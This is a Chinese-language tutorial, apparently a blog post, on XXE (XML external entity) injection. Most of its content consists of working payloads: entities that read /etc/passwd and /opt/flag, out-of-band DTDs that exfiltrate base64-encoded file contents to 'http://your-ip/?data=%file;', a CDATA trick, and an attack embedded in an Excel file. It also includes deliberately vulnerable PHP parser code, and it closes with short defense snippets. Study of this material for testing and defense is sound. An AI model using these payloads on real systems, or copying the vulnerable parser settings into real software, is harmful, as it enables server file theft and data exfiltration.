XML外部实体注入--漏洞利用

一.基本概念

1.XXE漏洞原理

  • 介绍:XXE 漏洞在应用程序解析 XML 输入时触发,若未限制外部实体加载,攻击者便能掌控外部加载文件,进而引发漏洞。其常见于可上传 xml 文件之处,如上传点未对 xml 文件过滤,恶意 xml 文件就可上传。

2.漏洞危害

  • 文件读取:能读取服务器任意文件,如利用 <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root> 可获取敏感信息。
  • 命令执行:在特定条件下,可执行系统命令,危害系统安全。
  • 内网探测与攻击:探测内网端口、攻击内网网站,如通过构造恶意请求探测内网服务。
  • 拒绝服务(DoS)攻击:发起大量请求,使服务器资源耗尽,引发服务中断。

3.漏洞探测

  1. 利用代码检测XML是否会被成功解析,如果页面输出"test",则说明可以被解析。

      <?xml version="1.0" encoding="utf8"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe "test" >]>
      <user>
      	<username>
      		&xxe;
      	</username>
      	<password>
      		123456
      	</password>
      </user>
    
  2. 检测服务器是否支持DTD引用外部实体,如果支持那么就很有可能存在xxe漏洞。

    • 介绍:可以通过dnslog进行判断,看是否收到目标服务器的请求。
      <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "http://204uli.dnslog.cn" >]>
      <user>
      	<username>
      		&xxe;
      	</username>
      	<password>
      		123456
      	</password>
      </user>
    

二.漏洞案例

1.有回显案例

  • 漏洞源码:

    <?php
    header('Content-type: text/html; charset=utf-8');
    libxml_disable_entity_loader(false);
    if(isset($_POST['xml'])){
    	$xml = $_POST['xml'];
    	$dom = new DOMDocument();
    	$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$data = simplexml_import_dom($dom);
    	echo "result: ".$data; // 有回显
    }
    ?>
    <html>
    <head>
    	<title>XXE案例</title>
    </head>
    <body>
    	<h1>XXE案例</h1>
    	<form action="" method="post">
    		<input type="text" name="xml" style="width:300px; height: 150px;">
    		<input type="submit" value="submit">
    	</form>
    </body>
    </html>
    
  • 测试代码:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "test">
    ]>
    <root>&xxe;</root>
    
    • PS:如果存在xxe漏洞,则测试文本会直接显示在页面上。
  • 漏洞利用代码:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>
    
    • PS:如果存在xxe漏洞,则passwd文件内容会直接显示在页面上。

2.无回显案例

  • 漏洞源码

    <?php
    header('Content-type: text/html; charset=utf-8');
    libxml_disable_entity_loader(false);
    if(isset($_POST['xml'])){
    	$xml = $_POST['xml'];
    	$dom = new DOMDocument();
    	$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$data = simplexml_import_dom($dom);
    	// echo "result: ".$data; // 有回显
    }
    ?>
    <html>
    <head>
    	<title>XXE案例无回显</title>
    </head>
    <body>
    	<h1>XXE案例无回显</h1>
    	<form action="" method="post">
    	<input type="text" name="xml" style="width:300px; height: 150px;">
    	<input type="submit" value="submit">
    	</form>
    </body>
    </html>
    
  • 测试代码

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://c28ruv.dnslog.cn">
    ]>
    <root>&xxe;</root>
    
    • PS:结合 DNSLog 查看请求,判断漏洞存在。
  • 漏洞利用代码

    • XML文档

      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://your-ip/evil.dtd">
      %remote;
      ]>
      <root></root>
      
    • DTD文档

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM "http://your-ip/?data=%file;">">
      %eval;
      
      • 代码解释:

        • ​<!ENTITY % file SYSTEM "file:///etc/passwd">​:

          • 定义了一个新的参数实体 %file,它会尝试读取 /etc/passwd 文件的内容。
        • ​<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-ip/?data=%file;'>">​:

          • 这里定义了另一个参数实体 %eval,它会构造一个新的实体 %exfil。
          • &#x25; 是 % 的 XML 编码,用于转义。
          • http://your-ip/?data=%file; 会将读取到的文件内容作为参数发送到 http://your-ip
        • ​%eval;​:

          • 这是对 %eval 实体的引用,触发对 %exfil 的构造和后续操作。

三.漏洞利用

1.读取敏感文件

  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
  <user><username>&xxe;</username><password>1234</password></user>

    • PS:以上任意文件读取能够成功,除了DTD可以引用外部实体外,还取决于有输出信息,即有回显。

2.读取含有特殊字符的文件

  • 介绍:当我们需要读取的文件中包含许多特殊符号的时候,比如大于号、小于号等,尤其是小于号,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误。
A.有回显
  • XML文档

    <?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
    <!DOCTYPE xxx [
    <!ENTITY dtd SYSTEM "http://your-ip/1.dtd"> 
    &dtd;
    ]>
    <user><username>&all;</username><password>1234</password></user>
    
    • 代码解释

      • ​<!DOCTYPE xxx [<!ENTITY dtd SYSTEM "http://your-ip/1.dtd"> &dtd;]>​:

        • ​<!DOCTYPE xxx [... ]>​:这是文档类型定义部分,这里定义了一个名为 xxx​ 的文档类型。

        • ​<!ENTITY dtd SYSTEM "http://your-ip/1.dtd">​:

          • 声明了一个名为 dtd 的外部实体,使用 SYSTEM 关键字表示其内容将从外部资源获取。
          • "http://your-ip/1.dtd" 是外部实体的 URI,这里将从该 URI 中获取 dtd 的内容。
        • ​&dtd;​:这是对 dtd​ 实体的引用,当解析 XML 文档时,会将 &dtd;​ 替换为从 http://your-ip/1.dtd​ 中获取的内容。

  • DTD文档

    <!ENTITY start "<![CDATA[">
    <!ENTITY goodies SYSTEM "file:///opt/file.txt">
    <!ENTITY end "]]>">
    <!ENTITY all "&start;&goodies;&end;">
    
    • 代码解释

      1. ​<!ENTITY start "<![CDATA[">​

        • 这行代码声明了一个名为 start 的实体。
        • "<![CDATA["> 是实体的值,CDATA 部分在 XML 中用于包含一段文本,其中的字符不会被解析为 XML 标记,即使它们包含了通常在 XML 中有特殊意义的字符(如 <、>、& 等)。这里声明 start 实体的值为 CDATA 部分的开始标记 <![CDATA[。
      2. ​<!ENTITY goodies SYSTEM "file:///opt/file.txt">​

        • 这行代码声明了一个名为 goodies 的实体。
        • SYSTEM 关键字表示这是一个外部实体,它引用了一个外部资源。
        • file:///opt/file.txt 是外部资源的位置,这里指定了一个本地文件路径 /opt/file.txt。在实际应用中,如果允许解析外部实体,XML 解析器会尝试从这个路径读取文件内容,并将其作为 goodies 实体的值。
      3. ​<!ENTITY end "]]>">​

        • 这行代码声明了一个名为 end 的实体,其值为 CDATA 部分的结束标记 ]]>。
      4. ​<!ENTITY all "&start;&goodies;&end;">​

        • 这行代码声明了一个名为 all 的实体。
        • 它的值由之前声明的三个实体组成:&start;(即 <![CDATA[)、&goodies;(即 /opt/file.txt 的内容,如果解析器能读取的话)和 &end;(即 ]]>)。
        • 当在 XML 文档中使用 &all; 时,理论上会被替换为 <![CDATA[ 加上 /opt/file.txt 的内容再加上 ]]>。
B.无回显
  • XML文档

    <?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://your-ip/test.dtd">
    %remote;%int;%send;
    ]>
    <user><username>1</username><password>2ad</password></user>
    
    • 代码解释

      • ​<!DOCTYPE convert​:定义文档类型名为 convert​。

      • ​<!ENTITY % remote SYSTEM "http://your-ip/test.dtd">​:声明了一个参数实体 %remote​,SYSTEM​ 表明这是一个外部实体,其内容从 http://your-ip/test.dtd​ 这个远程 DTD 文件获取。

      • ​%remote;​:引用参数实体 %remote​,会将 http://your-ip/test.dtd​ 的内容插入到此处。

      • ​%int;​ 和 %send;​:这两个参数实体通常在 test.dtd​ 文件中定义。%int;​ 一般用于定义内部的参数实体或进一步嵌套实体声明;%send;​ 主要用于将敏感信息外发到攻击者控制的服务器。

        • PS:攻击者服务器需要开启apache服务,才能查看日志。
  • DTD文档

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag">
    <!ENTITY % int "<!ENTITY &#x25; send SYSTEM "http://your-ip/?data=%file;">">
    
    1. 第一个实体声明

      • ​<!ENTITY % file​:声明一个参数实体,参数实体只能在 DTD(文档类型定义)内部使用,其名称为 file​。

      • ​SYSTEM​:表明这是一个外部实体,数据来源是外部系统。

      • ​php://filter/read=convert.base64-encode/resource=/opt/flag​:这是一个 PHP 流包装器的使用。

        • php://filter 是 PHP 提供的一种流过滤器,用于对数据流进行处理。
        • read=convert.base64-encode 表示对读取的数据进行 Base64 编码。
        • resource=/opt/flag 指定要读取的文件为 /opt/flag。整体作用是将 /opt/flag 文件的内容进行 Base64 编码后作为 file 实体的值。
    2. 第二个实体声明

      • ​<!ENTITY % int​:声明一个参数实体,名称为 int​。

      • 其值是一个字符串,该字符串中又包含一个实体声明:

        • <!ENTITY &#x25; send:&#x25; 是 % 的 XML 实体编码,所以这里实际是声明一个参数实体 %send。
        • SYSTEM "http://your-ip/?data=%file;":表明 %send 是一个外部实体,它会向 http://your-ip/ 发送一个 HTTP 请求,请求的参数 data 的值为 %file 实体的值,也就是 /opt/flag 文件内容的 Base64 编码。

3.Excel文档XXE

  • 介绍:现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

  • 攻击步骤

    1. 新建一个xlsx文件,并将其后缀名改为 .zip​

    2. 将zip文件解压,在 [Content_Types].xml​ 中插入测试代码,把测试代码放到第二、三行

      <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://dnslog-ip/" >]>
      <name>&GVI;</name>
      
      • PS:先利用dnslog检测是否存在xxe漏洞。
    3. 然后重新将解压后的文件压缩,再修改文件后缀为xlsx进行上传即可。

      • PS:如果存在xxe漏洞,则可以按照无回显的形式,进行漏洞利用。

四.防御方案

1.PHP 防御

  • 使用 libxml_disable_entity_loader(true); 禁用外部实体加载。

2.Java 防御

  DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  dbf.setExpandEntityReferences(false);
  .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
  .setFeature("http://xml.org/sax/features/external-general-entities",false)
  .setFeature("http://xml.org/sax/features/external-parameter-entities",false);

3.Python 防御

  from lxml import etree
  xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
相关推荐
拉一次撑死狗几秒前
Vue基础(2)
前端·javascript·vue.js
皮肤科大白27 分钟前
如何在data.table中处理缺失值
学习·算法·机器学习
皮肤科大白30 分钟前
“““【运用 R 语言里的“predict”函数针对 Cox 模型展开新数据的预测以及推理。】“““
学习
热情仔35 分钟前
mock可视化&生成前端代码
前端
m0_7482463542 分钟前
SpringBoot返回文件让前端下载的几种方式
前端·spring boot·后端
汤姆和佩琦42 分钟前
2025-1-21-sklearn学习(43) 使用 scikit-learn 介绍机器学习 楼上阑干横斗柄,寒露人远鸡相应。
人工智能·python·学习·机器学习·scikit-learn·sklearn
wjs040643 分钟前
用css实现一个类似于elementUI中Loading组件有缺口的加载圆环
前端·css·elementui·css实现loading圆环
爱趣五科技1 小时前
无界云剪音频教程:提升视频质感
前端·音视频
qq_544329171 小时前
下载一个项目到跑通的大致过程是什么?
javascript·学习·bug
计算机-秋大田1 小时前
基于微信小程序的校园失物招领系统设计与实现(LW+源码+讲解)
java·前端·后端·微信小程序·小程序·课程设计